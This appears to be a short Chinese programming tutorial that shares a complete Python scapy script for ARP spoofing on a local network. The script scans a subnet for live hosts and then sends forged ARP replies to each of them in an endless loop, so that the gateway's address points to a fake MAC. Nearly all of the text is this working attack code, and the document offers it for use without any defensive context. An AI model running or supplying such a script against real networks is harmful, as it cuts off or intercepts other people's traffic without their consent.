本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy. all import ARP,send,arping
import sys,re
stdout = sys.stdout
IPADDR = "192.168.1.*"
gateway_ip = '192.168.1.1'
#伪造网关mac地址
gateway_hw = '00:11:22:33:44:55'
p = ARP(op = 2 ,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
#伪造来自网关的arp应答
t = p
t.hwdst = hw
t.pdst = ip
send(t)
def get_host():
#得到在线主机的mac地址和对应ip地址
hw_ip = {}
sys.stdout = open ( 'host.info' , 'w' )
arping(IPADDR)
sys.stdout = stdout
f = open ( 'host.info' , 'r' )
info = f.readlines()
f.close
del info[ 0 ]
del info[ 0 ]
for host in info :
temp = re.split(r '\s+' ,host)
hw_ip[temp[ 1 ]] = temp[ 2 ]
return hw_ip
if __name__ = = "__main__" :
hw_ip = get_host()
while 1 :
for i in hw_ip :
arp_hack(hw = i,ip = hw_ip[i])
|
希望本文所述对大家的Python程序设计有所帮助。